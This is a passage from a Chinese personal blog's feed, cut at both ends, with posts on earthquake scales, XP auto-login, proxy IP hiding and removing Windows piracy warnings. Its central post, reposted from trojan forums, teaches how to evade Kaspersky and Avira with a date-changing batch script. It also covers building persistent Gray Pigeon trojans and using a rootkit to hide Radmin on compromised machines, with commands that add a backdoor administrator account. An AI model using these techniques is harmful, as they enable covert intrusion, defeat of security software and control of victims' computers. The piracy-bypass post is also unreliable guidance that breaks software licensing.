Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">,</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>小于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">3</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级的称为弱震或微震</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>大于、等于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">3</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级，小于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">4.5</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级的称为有感地震</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>大于、等于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">4.5</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级，小于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">6</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级的称为中强震</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>大于、等于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">6</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级，小于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">7</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级的称为强震</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>大于、等于</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">7</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级的称为大地震</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢8</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级以及</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">8</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>级以上的称为巨大地震。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR></SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>地震烈度：地震烈度是指地面及房屋等建筑物受地震破坏的程度。对同一个地震，不同的地区，烈度大小是不一样的。距离震源近，破坏就大，烈度就高；距离震源远，破坏就小，烈度就低。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>小于三度：人无感受，只有仪器能记录到；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>三度：夜深人静时人有感受；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>四</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">—</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>五度：睡觉的人惊醒，吊灯摆动；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>六度：器皿倾倒、房屋轻微损坏；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>六</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">—</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>七度：房屋破坏，地面裂缝；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>九</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">—</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>十度：房倒屋塌，地面破坏严重；</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial"> <BR><BR>◢</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>十</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">—</SPAN><SPAN style="FONT-SIZE: 9pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial"><FONT face=宋体>十二度：毁灭性的破坏。</FONT></SPAN><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: Arial">&nbsp;<BR></SPAN></P></CA></DIV> <DIV></DIV>]]> 星期三, 04 六月 2008 04:51:43 GMT http://blog.china.com:80/u/061218/21698/200806/2748316.html 2008-06-04T04:51:43Z http://blog.china.com:80/u/061218/21698/200804/2258680.html <![CDATA[ <DIV> <H2 style="MARGIN: auto 0cm"><FONT face=宋体><SPAN lang=EN-US><A href="http://imgblog.china.com/u/061218/21698/pic/12073636649691.jpg" target=_blank></A>xp</SPAN>设置密码后如何让<SPAN lang=EN-US>xp</SPAN>自动登陆<SPAN lang=EN-US><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></FONT></H2> <P><FONT size=3><FONT face=宋体>朋友家的电脑，最近几天，总是感染病毒，甚至有时候还出现，正在使用时，突然关机的现象；但查了查，也没有什么大问题；按<SPAN lang=EN-US>F11</SPAN>恢复下系统，就正常了；但这样反复这么多次，拒他一说，我感觉非常奇怪。<SPAN lang=EN-US><o:p></o:p></SPAN></FONT></FONT></P> <P><FONT size=3><FONT face=宋体>前几日，突然不能启动了；拿来让我看看。拿到主机以后，开机看，果然主机没有任何反应，初步判断主板上面的集成显卡有可能烧了；开机箱，发现机箱内部灰尘积压得比较严重，找来鼓风机吹后，干净如初；然后尝试启动，可以点亮，但发现系统已经坏了，无法加载<SPAN lang=EN-US>xp</SPAN>。好在有备份，直接<SPAN lang=EN-US>F11</SPAN>，恢复系统。<SPAN lang=EN-US><o:p></o:p></SPAN></FONT></FONT></P> <P><FONT size=3><FONT face=宋体>恢复完以后，重启，系统正常；此时感觉可能是，主板散热不好，因此的主板上显卡集成部分稳定性降低，小板还是差劲哪。系统启动后更新病毒库，之后发现，还是有些问题。这个<SPAN lang=EN-US>xp</SPAN>超级管理员用户没有设置密码，然后系统是自动加载登陆的。这安全性差的？疑问。<SPAN lang=EN-US><o:p></o:p></SPAN></FONT></FONT></P> <P><FONT size=3><FONT face=宋体>加强一下安全吧！给这个<SPAN lang=EN-US>user</SPAN>用户修改一下用户名，主要很多人用的<SPAN lang=EN-US>DIY</SPAN>过后的光盘，安装或者恢复后，都是这个用户名，稍改一下用户名，然后给这个用户名设置上密码，但朋友电脑基础不咋的，连密码都不想输入，怎么样像<SPAN lang=EN-US>win2000</SPAN>一样，可以在控制面板中设置，用户名密码，让操作系统自动登陆呢？实际上有一个命令，不管是<SPAN lang=EN-US>win2000</SPAN>还是<SPAN lang=EN-US>winxp</SPAN>还是<SPAN lang=EN-US>win2003</SPAN>，<SPAN lang=EN-US>vista</SPAN>没有环境，没测试过。<SPAN lang=EN-US><o:p></o:p></SPAN></FONT></FONT></P> <P><FONT face=宋体 size=3>具体的操作如下：</FONT><FONT size=3><FONT face=宋体><SPAN lang=EN-US> <BR><BR></SPAN>在“开始”<SPAN lang=EN-US>--</SPAN>“运行”下输入：“<SPAN lang=EN-US>control userpasswords<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /><st1:chmetcnv w:st="on" TCSC="0" NumberType="1" Negative="False" HasSpace="False" SourceValue="2" UnitName="”">2<SPAN lang=EN-US><SPAN lang=EN-US>”</SPAN></SPAN></st1:chmetcnv></SPAN> 会弹出一个窗口（或者输入“<SPAN lang=EN-US>rundll32 netplwiz.dll,UsersRunDll</SPAN>”）： <SPAN lang=EN-US><o:p></o:p></SPAN></FONT></FONT></P> <P><SPAN lang=EN-US><FONT size=3><FONT face=宋体>&nbsp;<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600"> <A href="http://imgblog.china.com/u/061218/21698/pic/12073636649691.jpg" target=_blank><IMG src="http://imgblog.china.com/u/061218/21698/pic/12073636649691.jpg" onload="if(this.width>400)this.width=400;if(this.height>400)this.height=400" border=0></IMG></A><A href="http://imgblog.china.com/u/061218/21698/pic/12073636678982.jpg" target=_blank></IMG></A><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><o:lock aspectratio="t" v:ext="edit"></o:lock></v:shapetype></FONT></FONT><o:p></o:p></SPAN></P> <P><FONT size=3><FONT face=宋体><SPAN lang=EN-US>&nbsp;</SPAN>选中一个用户，然后把“要使用本机，用户必须输入用户名和密码”前面的那个勾去掉，在弹出的窗口中，用户名不要修改了，输入并确认一次此用户的登陆密码，确定、再确定就<SPAN lang=EN-US>ok</SPAN>了。</FONT></FONT></P> <P><FONT size=3><FONT face=宋体><SPAN lang=EN-US><o:p><A href="http://imgblog.china.com/u/061218/21698/pic/12073636678982.jpg" target=_blank><IMG src="http://imgblog.china.com/u/061218/21698/pic/12073636678982.jpg" onload="if(this.width>400)this.width=400;if(this.height>400)this.height=400" border=0></IMG></A></o:p></SPAN></FONT></FONT></P> <P><SPAN lang=EN-US><o:p></o:p></SPAN></P> <P><FONT size=3><FONT face=宋体>现在重启一下机子，你就会发现系统可以直接登陆了。另外，还有一些人，可以通过在注册表中设置，来实现自动登陆，只是这样，设置稍麻烦一些；还有一些特殊的小软件，可以方便的设置自动登陆，比如<SPAN lang=EN-US>Win2k_xp</SPAN>自动登录器等，还有<SPAN lang=EN-US>windows</SPAN>优化大量、超级兔子等优化软件中，也自带有这个方便的小功能，有兴趣的，可以平时留意下。<SPAN lang=EN-US><o:p></o:p></SPAN></FONT></FONT></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><o:p><FONT face="Times New Roman" size=3>&nbsp;</FONT></o:p></SPAN></P></DIV> <DIV></DIV> <DIV></DIV>]]> 星期六, 05 四月 2008 02:47:49 GMT http://blog.china.com:80/u/061218/21698/200804/2258680.html 2008-04-05T02:47:49Z http://blog.china.com:80/u/061218/21698/200801/1656965.html <![CDATA[ <DIV> <H2>免杀的一些理论（转载）</H2> <DIV class=t_msgfont id=postmessage_83818>免杀鸽子&nbsp;&nbsp;标签：无 <BR>里面有仅次于灰鸽子作者葛军的二号人物凤凰木马鸽子主代理论坛weiwen的原创帖子，不乏对付或摧毁小红伞antivir以及卡巴斯基的方法，全部收费内容供清心网友免费学习！！！ <BR>帖子内容介绍：“灰鸽子病毒”由于所谓的“新闻联播”的报道，现已转入地下，已经不再收VIP会员（原来成为VIP要100元/年），本人“huigezi”（原清心的“jaycn”）破解了几个VIP的ID，上灰鸽子论坛将VIP或者有“威望”才能看的精华贴整理了一下，发到清心，供大家学习计算机安全高级知识，有一些木马“免杀”（免于杀软查杀）的技术，属“贼”对付所谓“警察”的技术，给特别是迷信所谓“杀软”（所谓的“杀毒软件”）、“防火墙”的朋友一个警戒，属本人原创帖，我将多个鸽子VIP论坛的精华贴整理到一起发 <BR>100%过卡巴6.0行为的方法 <BR>本帖被 weiwen 执行加亮操作(2007-04-04) <BR>在我们新的修改版没有公布出来之前，凤凰会员暂时可用这种方法卡巴6.0的行为拦截。 <BR>1.过卡巴6.0的启动拦截的方法：如：在安装名称$(WinDir)G_Server2006.exe改为$(WinDir)G_Server2006去除后缀的方法。 <BR>2.过两个插入进程的提示方法:只要在高级选择中的1和3不打勾即可。 <BR>3.可以重新修改插入进程，这样就100%过卡巴的6.0行为了。 <BR>注：通常新用户修改第一步已经OK的了，因为卡巴的默认安装后是不打开进程插入监控的. <BR>经过几天的努力..终于做出了第一次过小红伞的VIP1.23无壳鸽子 <BR>大家可以测试一下.. 可以导入配置信息(原配置信息已经删掉.运行了也没关系). <BR>只做了小红伞的免杀..其他都没做..主要是发出来跟大家分享一下... <BR>只能发连接... <BR>刚改了下载连接..现在可以直接下载了!!! <BR>修改方法简单可以这样说 <BR>加花打底/定位特征码/查出特征码为输入表的DLL的文件名(DLL文件名无法修改和移动)/ 再移动输入表信息(特征码会自动转移,很BT,红伞似乎会跟着你的变化而变化)/再找一个红伞查杀行走路线的点给NOP掉(本人找不到原理,纯粹靠试验...原理还需要近一步研究)(因为改特征点已经无用.只能在它的"行走"路线上设卡..) <BR>以上说法可能存在不对之处,请高人指明.. <BR>过卡吧主动防御思路 <BR>思路就是修改系统时间,达到卡巴实效,然后鸽子运行,然后再把系统时间改回来,首先要准备好你的免杀鸽子 <BR>先打开记事本,把以下代码保存为time.bat,(文字全为说明,不用复制) <BR>@echo <BR>set date=%date% 令参数%data%等于现在的日期，一会儿恢复时间用 <BR>date 1987-12-18 修改系统时间使卡巴监控失效 <BR>ping -n 10 127.0.0.1 等待10秒,10秒后卡巴已经挂了, <BR>start notepad 运行程序(可以换成鸽子) <BR>ping -n 5 127.0.0.1 等待5秒, <BR>date %date% 改回来时间,卡巴又复活了 <BR>但是运行的那个DOS窗口实在看着不爽 <BR>我们在建个脚本,打开记事本,把以下代码保存为a.vbs <BR>Set shell = Wscript.createobject("wscript.shell") <BR>a = shell.run ("time.bat",0) <BR>现在已经隐藏运行了,有条件的可以改造,甚至可以根据这个思路写个小程序 <BR>本帖最近评分记录： <BR>凤凰币:10 (By weiwen) | 2007-02-01 11 <BR><BR>要过葛军自家专杀很简单，配置的时候无注册，无服务，无后缀，配置出来后改进程，自定义启动方式，反正别用鸽子自带的启动方式就OK了，具体做法就是把配置好的无注册和服务的EXE做成资源，用DELPHI或VB以捆绑方式重新编译下，加入自定义开机启动方式，保证什么自己专杀也傻瓜。 <BR>配制的时只选注册表启动一项就可以过专杀 <BR>过鸽子自家专杀以及不死神鸽子的制作方法. <BR>首先申明下,此方法需要编程基础,并非人人能掌握. <BR>一:过葛军专杀,首先配置鸽子服务端,记住无注册,无服务,无后缀,不要隐藏进程,注射IE.配置结束后修改注射进程,注射到一些无法结束的系统进程就行,不过虽然系统进程,但是还是能结束的,为什么?因为注射并非DLL加载,还是有相同的独立进程,经验丰富的老鸟随便就结束掉了,但是糊下菜鸟没什么问题,上面改完的话已经过掉了IE防漏和一般的专杀,但是运行有问题,因为无启动项.下面把改好进程,测试没问题的服务端再进行免杀,免杀的方法就不详细说了,相关教程很多,免杀完毕开始过葛军专杀,把配置好的鸽子服务端当作资源,用DELPHI或VB用资源捆绑方式,并加入自定义开机启动方式,如何开机启动方式还是用注册表吧,写的好的话直接连卡巴主防的注册表监控都过,甚至可以领先于系统启动.到这里,葛军专杀就已经过了,不信的话自己测试去. <BR>二:杀软杀不尽,关机开又来的不死神鸽.首先还是配置,无注册,无服务,注射IE,不隐藏进程,重要的一点,运行后不要删除本身.然后还是修改进程,免杀等等,这里的鸽子服务端免杀要保证文件都过,内存什么的没什么关系,改完后就开始再次用DELPHI或VB资源捆绑了,这次有点麻烦,要设置好这个不删除本身服务端的复制路径,同时资源捆绑的文件要本身删除,不留痕迹,还要加入自定义开机启动指向那个运行后不删除自身的服务端,这样就实现了不死神鸽,运行原理是这样的,开机启动服务端,并且复制到指定路径启动,这样就过了自家专杀,行为,防漏,主动,等等,哪怕被内存查杀,甚至对应文件查杀,只要保证你的不删除服务端不被查杀,则杀软杀不尽,开机又回来. <BR><BR>黑客守卫者+鸽子免杀=无敌神鸽 <BR>[post] 我们都知道凤凰VIP的免杀鸽子很好用,这是公认的,这个鸽子中到家用PC上还可以但要是放到服务器上就有点让人担心了. <BR>1.管理员查下进程就OK了, <BR>2.看下可以服务,因为鸽子他会加为服务, <BR>3.netstat -an这个我就不用说了吧 大家都知道. <BR>好了,现在我就为大家做个无敌神鸽,其实用一个软件就可以了, <BR>黑客守卫者,一个内核级后门软件,先看下他的说明大家就都明白了, <BR>黑客守护者是一款异常强大的驱动级后门!可以隐藏你的木马和后门的端口,服务,进程 <BR>这里写入你要隐藏的文件和文件夹名称 <BR>第一个是隐藏黑客守卫者自己的,建议不要删除 <BR>好,比如我们给肉鸡装了个Radmin吧,那我们就在隐藏文件里把它的服务端文件rserver.exe加到这里 <BR>注意一行一个哦~ <BR>你也可以用通配符* <BR>这样到话只要是以rserv开头到文件夹和文件名都会隐藏 <BR>------------------------ <BR>隐藏进程和隐藏文件一样 <BR>我们把rserver.exe也加到这里 <BR>当然,它同样支持通配符* <BR>下面是隐藏服务 <BR>Radmin的服务名是r_server <BR>所以我们把它加到下面 <BR>------------------------ <BR>隐藏端口 <BR>4899是RADMIN到默认端口,TCP协议的,那么我们在TCP端口里面添上4899 <BR>可能你还开了肉鸡的3389,那我们把3389也加到里面,用[,]隔开 <BR>UDP端口和TCP端口一样 <BR>------------------------ <BR>隐藏注册表 <BR>已经有的是黑客守卫者自己的注册表项 <BR>你可以在这里把你的木马的注册表项隐藏 <BR>RADMIN的注册表项是RAdmin <BR>所以我们加到里面就可以了 <BR>------------------------ <BR>跟随启动 <BR>就是让某个程序跟随黑客守卫者启动 <BR>它支持系统变量和运行参数 <BR>比如要肉鸡开机后添加一个用户 <BR>我们可以这样添 <BR>%windir%system32cmd.exe /c net user coofly 123456 /add <BR>你要提权这个用户的话再加一个 <BR>%windir%system32cmd.exe /c net localgroup administrators coofly /add <BR>这样就好了`` <BR>------------------------ <BR>后门设置 <BR>黑客守卫者启动后,你可以从任意一个端口用黑客守卫者提供的客户端进行连接,得到一个管理员权限的CMD SHELL <BR>连接密码就是你登录SHELL的密码了 <BR>黑客守卫者是以驱动和服务两种方法启动的 <BR>服务名称就是黑客守卫者的启动服务名称了 <BR>显示名称和描述大家应该都明白,如果改了服务名称,那么在隐藏服务里应该把改后的服务名称也加进去 <BR>比如我改成 <BR>hackdoor <BR>那么我们应该在隐藏服务里它把也加进去 <BR>驱动名称和驱动文件名称可以随便改 <BR>不过要注意的是驱动文件名称必须是.SYS结尾的 <BR>------------------------ <BR>生成配置 <BR>现在已经配置好了,我们可以生成配置文件了 <BR>点生成配置,然后选择保存位置 <BR>添上文件名,点保存就可以OK咯!!~ <BR>现在大家应该明白怎么可以做出无敌的鸽子了吧! <BR>因为黑客守卫者生成出来的是两个文件你要想和鸽子捆绑到一块可以用个凤凰的捆绑软件就可以了..[/post] <BR>对世面上出现几款远控调查 <BR>上兴 18 票 <BR>牧民灰鸽子 8 票 <BR>网络红娘 3 票 <BR>守望者 4 票 <BR>熊宝宝远控 6 票 <BR>黑洞 13 票 <BR>黑赢 2 票 <BR>其他…… 9 票 <BR>今天对微点（微点主动防御软件(Micropoint Proactive Defense Software)）进行了一次鸽子上线的测试，微点真是如用户所讲的如此历害吗？经过我半个小时的测试和修改（服务端不需要太大的修改），鸽子非常轻易的上线了（有图为证），而且微点没有任何的提示(全开监控状态)，对微点真是非常失望，经过这么多年的经验，个人感觉什么杀软都不可信，更不要信谁强谁弱，其实本质一样，而且令我更加相信了杀软公司的商业行为，赚钱！！！！ <BR>注明：重启PC后微点同样没有任何的提示下上线！ <BR>测试后本人对微点杀软体会：集合了各大杀软的欺骗手法，换句话讲只是对鸽子代码比较了解深一些，并不是技术性的行为拦截和查杀。</DIV></DIV> <DIV></DIV>]]> 星期五, 04 一月 2008 04:00:00 GMT http://blog.china.com:80/u/061218/21698/200801/1656965.html 2008-01-04T04:00:00Z http://blog.china.com:80/u/061218/21698/200711/1372542.html <![CDATA[ <DIV> <TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all; LINE-HEIGHT: 100%" cellSpacing=0 cellPadding=4 width="100%" align=center border=0> <TBODY> <TR> <TD style="BORDER-BOTTOM: #c0c0c0 1px solid" align=middle width="100%" height=38><SPAN class=style3><STRONG><FONT size=4>隐藏自己的IP地址</FONT></STRONG></SPAN> </TD></TR> <TR> <TD align=middle colSpan=2></TD></TR> <TR> <TD colSpan=2> <TABLE cellSpacing=1 cellPadding=5 width="100%" align=center border=0> <TBODY> <TR> <TD class=content> <DIV><FONT size=2></FONT></DIV></TD></TR></TBODY></TABLE> <DIV><FONT size=2>双剑合璧</FONT></DIV> <DIV> <P><FONT size=2></FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>隐藏IP，好处很多，简单概括起来有两点：一是在上网的时候防止被入侵、攻击；其次是加快打开网页的速度。当然，大多数人隐藏IP的最主要目的是加强系统的安全性，免受攻击。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>现在几乎每个跟网络有关的软件都提供“代理设置”了，只要简单设置一下就可以把真实的IP隐藏起来，取而代之的是代理IP。现在就说说隐藏真实IP的具体方法。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>第一种方法是利用“QQ代理公布器XP”和“SocksCap32”。首先运行QQ代理公布器XP，在“代理类型”处选中Socks5，并且勾选右侧“是否测试代理”选项，然后单击工具栏中的[读数据]，程序返回代理IP信息，选择一个速度最快的代理IP，在其上单击右键，选“复制IP”命令。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>接下来启动SocksCap32，进入主界面，点击[File]→[Settings]命令，打开设置框，把刚才复制的IP地址粘贴到“Socks SerVer”文本框中，端口一般不用改变（视代理IP所支持的端口而定）。选择“Socks Version 5”，按[确定]返回程序主界面。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>以QQ程序为例，点击SocksCap32程序中的[File]→[New]命令，在“Profile Name”文本框中随意输入“QQ”，然后点击[Browse]按钮指定QQ程序所在的目录，最后按[OK]按钮。在SocksCap32中双击QQ图标，测试发现QQ能够正常登录，显示的IP正是刚才设置的代理IP。如果QQ不能登录，说明代理服务器响应慢，这时只要再选择一个响应速度较快的代理IP即可。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2></FONT></P> <P><FONT size=2></FONT></P> <H2><FONT size=2>一剑封喉</FONT></H2> <P><FONT size=2></FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>MultiProxy是利用HTTP代理隐藏IP。方法是打开IE浏览器，在地址栏中输http://www.allproxies.com/page1.html，虽然全是英文可能有些看不懂，没关系，只要将那些代理IP复制到Word中，按下[Ctrl+Shift+F8]组合键，把所有代理IP以外的内容删除后，再用“替换”功能修改成形如×××.×××.×××.×××:port格式。操作很简单，把IP与端口号之间的两个空格替换成“：”就可以了。修改完成后，将文件保存成TXT文件。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>接下来启动MultiProxy程序，点击主界面的[选项]按钮，在“常规选择”页中把“缺省超时”的时间设长些如“30”，其他设置保持不变。切换到“代理服务器列表”页面，按右下角的[菜单]→[文件]→[导入代理列表]命令，将刚才保存的代理IP文件打开，此时会弹出一个“检查代理”对话框，按[确定]，再按一次[确定]返回程序主界面。如果刚才选择的代理IP文件不能导入到列表中，可能文件中存在不符合格式的IP，将它们修改正确，保存后重新导入即可。现在点击[检查所有的代理]按钮，验证IP是否可连接。检验完毕后，再次单击[选项]按钮，切换到“代理服务器列表”页，点击左下角的[菜单]→[代理表]→[删除没有应答的代理]命令，接着会询问“是否肯定删除所有没有应答的代理”，单击[确定]，把没有应答的代理IP删除后，剩下的就是可连接的代理IP了，单击[确定]按钮返回到程序主界面。</FONT></P> <P style="TEXT-INDENT: 28px"><FONT size=2>现在启动IE浏览器（不要关闭MultiProxy）测试一下，点击[工具]→[Internet选项]命令，切换到“连接”页，这里分两种情况：一种是通过拨号上网的，在“拨号连接”下面选中一个默认拨号连接，点击右边的“设置”，勾选“使用代理服务器”前面的小方框，在“地址”中输入127.0.0.1，在“端口”中输入8088（这是MultiProxy的默认接收端口），然后单击[高级]，把“对所有协议均使用相同的代理服务器”前的小勾去掉，连续按[确定]按钮退出；另一种是通过局域网共享上网的，在“连接”页中单击下面的[局域网设置]按钮，其后的设置和上面的一样。设置完毕后，登录一个能够显示IP的论坛测试一下，可以看出真实IP已经隐藏，显示的是代理服务器IP。</FONT></P></DIV></TD></TR></TBODY></TABLE></DIV> <DIV></DIV>]]> 星期四, 22 十一月 2007 08:22:59 GMT http://blog.china.com:80/u/061218/21698/200711/1372542.html 2007-11-22T08:22:59Z http://blog.china.com:80/u/061218/21698/200711/1365272.html <![CDATA[ <DIV> <TABLE cellSpacing=0 cellPadding=0 width="95%" align=center border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0> <TBODY> <TR> <TD> <TABLE class=seyle4 cellSpacing=0 cellPadding=0 width="100%" border=0> <TBODY> <TR> <TD>&nbsp;</TD></TR> <TR> <TD class=content9><STRONG>如何去除微软盗版提示,让盗版XP变成正版</STRONG></TD></TR> <TR> <TD> <DIV align=right><SPAN class=textbox-label></SPAN>&nbsp;</DIV></TD></TR></TBODY></TABLE> <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0> <TBODY> <TR> <TD height=3>&nbsp;</TD></TR></TBODY></TABLE> <TABLE style="TABLE-LAYOUT: fixed" cellSpacing=0 cellPadding=0 width="100%" align=center border=0> <TBODY> <TR> <TD><SPAN class=oblog_text><SPAN class=oblog_text>&nbsp; <P><SPAN style="FONT-SIZE: 10pt">解除微软正版增值计划对盗版Windows XP系统的“警告内容”的方法如下：</SPAN></P> <P><SPAN style="FONT-SIZE: 